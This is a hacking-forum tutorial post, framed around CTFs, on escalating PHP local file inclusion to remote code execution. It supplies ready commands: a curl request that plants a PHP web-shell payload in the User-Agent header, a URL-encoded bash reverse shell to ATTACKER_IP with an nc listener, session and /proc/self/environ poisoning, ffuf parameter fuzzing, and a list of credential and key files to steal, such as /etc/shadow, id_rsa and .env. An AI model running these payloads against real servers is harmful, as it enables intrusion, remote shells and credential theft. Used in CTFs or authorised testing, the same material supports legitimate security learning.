LFI Vulnerability Exploitation: From Passwd to RCE part 2

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
790
Reaction score
1,510
Log poisoning LFI: log poisoning before the reverse shell

Log poisoning is the primary method of LFI to RCE when allow_url_includeis disabled and filter chains are not applicable. The idea is simple: write PHP code to a file on the server, then enable this file via LFI. The web server writes request headers to log files, and the header User-Agentis completely controlled by the attacker. That's the whole trick.

Preconditions (all at once):

Confirmed LFI in PHP application (CWE-98)
The log file is readable via LFI (at www-datathere are rights)
The log contains user input ( User-Agent, Referer)
The PHP interpreter processes the included file.

In CWE terms, this is a combination of CWE-98 (incorrect control of include paths) and CWE-78 (Improper Neutralization of Special Elements used in an OS Command ). According to MITRE, CWE-78 describes a situation where a product constructs an OS command from external input without neutralizing special characters. The likelihood of both is High.
Access.log Poisoning: Step-by-Step Exploitation

Step one: Make sure the log is accessible. Substitute the path into the vulnerable parameter. page=../../../../var/log/apache2/access.logIf the response contains log lines with IP addresses, dates, and User-Agent, the file is readable. Didn't find it? Try these alternatives: /var/log/httpd/access_log(CentOS), /var/log/nginx/access.log, /var/log/apache2/error.log.

Step two: send a request with a PHP payload to User-Agent:

curl -s -A "<?php system(\$_GET['cmd']); ?>" \
http://target.ctf/index.php

Apache writes the User-Agent to the access.log. The log now contains executable PHP code. Escaping \$_GETIt's mandatory in bash, otherwise the shell will substitute the variable's value, and instead of a payload, the log will be empty.

Step three: enable the poisoned log and issue the command: page=../../../../var/log/apache2/access.log&cmd=id. PHP encounters tag <?php, performs system('id'), outputs uid=33(www-data)For reverse shell, use the URL-encoded version: cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'On the attacking vehicle - nc -lvnp 4444.

Typical dead ends in log poisoning LFI:

The log is too large - PHP can't process the entire file, the response is interrupted, or the application crashes. Take error.log- it is more compact than access.log
PHP code "breaks" when resubmitted—if you send the payload twice, two PHP tags will appear in the log, and a syntax error in one will break the entire output. Rule: one precise attempt, no retrying.
The log path is non-standard - fuzz with wordlist (see section below)
Quotation marks in User-Agent break the log format—some Apache configurations escape special characters. Try this. Refererinstead of User-Agent

In practice, the most common pain point is resubmitting. You send a broken payload, the log breaks, and every time you run access.log, it returns a parsing error. On a CTF, this means restarting the setup. On a live server, access.log is rotated, and you can wait for a fresh file (or switch to error.log).
/proc/self/environ и PHP session poisoning

In addition to logs, there are two more vectors for writing PHP code to the server.

/proc/self/environ— a file in Linux procfs that contains environment variables for the current process. Among them are HTTP_USER_AGENT, which is controlled by the attacker. If www-datahas read permissions /proc/self/environ(happens on poorly configured servers), the scheme is similar to log poisoning: a request with PHP code in User-Agent, inclusion /proc/self/environVia LFI, the code is executed. On modern distributions, access is usually blocked, but it's always worth checking for CTF.

PHP session poisoning works if the application stores sessions in files (by default /var/lib/php/sessions/ or /tmp/) and user input gets into the session data without sanitization. A typical scenario: the application stores the username in $_SESSION['user']The attacker "registers" with a name <?php system($_GET['cmd']); ?>, PHP writes it to the session file sess_<PHPSESSID>Then this file is included via LFI. The file name is predictable: sess_+ cookie value PHPSESSID, which is visible in the browser.

SSH auth logs are exotic. The attacker initiates an SSH connection with a username containing PHP code. The code is written to /var/log/auth.log, which is then enabled via LFI. This is rare in CTFs, but has been documented in real-world pentests.
Operating conditions: which equipment works when

A summary table—so you don't have to blindly select options during CTFs, but can immediately understand which vector to pull first.
Technique PHP version Server prerequisite Result CTF frequency
Path traversal Any No path validation Reading files High
php://filter Any No Reading source code (base64) High
Null byte %00 < 5.3.4 include($f.".php") Bypass extension Average
php://input Any allow_url_include=On RCE Average
data:// Any allow_url_include=On RCE Average
Log poisoning Any Read access to access.log RCE High
Session poisoning Any Entering into $_SESSIONwithout filter RCE Low
/proc/self/environ Any Read permissions for /proc RCE Low
PHP filter chains 7.0+ No RCE without writing to disk It's growing

The order of checking for CTF: path traversal (LFI confirmation) → php://filter (reading sources) → log poisoning (if RCE is needed) → php://input/data:// (if allow_url_includeenabled) → session poisoning and /proc/self/environ (extreme options).
CTF Web Exploitation: Fuzzing LFI Parameters

In CTF, the vulnerable parameter is not always obvious. page, file, template, include, path, doc, view, content, lang— are the prime candidates. But file inclusion can be hidden in a cookie, HTTP header, or POST parameter.

Systematic search via ffuf:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:pARAM \
-u "http://target.ctf/index.php?PARAM=../../../../etc/passwd" \
-fs 0 -mc 200

Flag -fs 0filters out empty answers, -mc 200leaves only HTTP 200. The output contains the parameters through which /etc/passwdreadable. For path fuzzing, take a wordlist from SecLists: Fuzzing/LFI/LFI-Jhaddix.txtcontains typical paths with different numbers ../and various target files.

Key files to read via LFI on Linux:

/etc/passwd- LFI confirmation, list of system users
/etc/shadow- password hashes (usually not available to www-data)
/proc/self/environ— environment variables, RCE vector
/var/log/apache2/access.log, /var/log/nginx/access.log— logs for poisoning
/var/lib/php/sessions/sess_<ID>— PHP session files
/proc/self/cmdline— command line of the current process
/home/<user>/.ssh/id_rsa— private SSH keys (if you're lucky with the permissions)
.env, wp-config.php— application configurations with credentials

As Invicti notes, user input can come not only from query parameters, but also from cookies, headers (including User-Agent) or POST request values. In CTFs, non-standard entry points are a favorite way for problem authors to make life difficult.
CVE-2024-40348: Directory Traversal Attack in Bazarr Without Authentication

A real-world vulnerability that illustrates everything described above. CVE-2024-40348 affects Bazarr v1.4.3, a subtitle manager for media servers. The vulnerable component: /api/swaggerui/static. Описание из NVD: «An issue in the component /api/swaggerui/static of Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal».

Features:

CVSS: 8.2 (HIGH)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L - Network attack, low complexity, no privileges, no user interaction, high privacy impact
CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
EPSS: 0.0822 (percentile 0.9493 - top 10% of all CVEs by 30-day exploitability)

CISA has classified the SSVC solution as "Track*" (track and prepare a patch): the proof-of-concept is publicly available, exploitation is automated, and the technical impact is partial. A proof-of-concept repository is available on GitHub. bigb0x/CVE-2024-40348, who reads /etc/passwdfrom a vulnerable server with one request. There is also a template for Nuclei ( http/cves/2024/CVE-2024-40348.yaml) to automate detection.
 
Top Bottom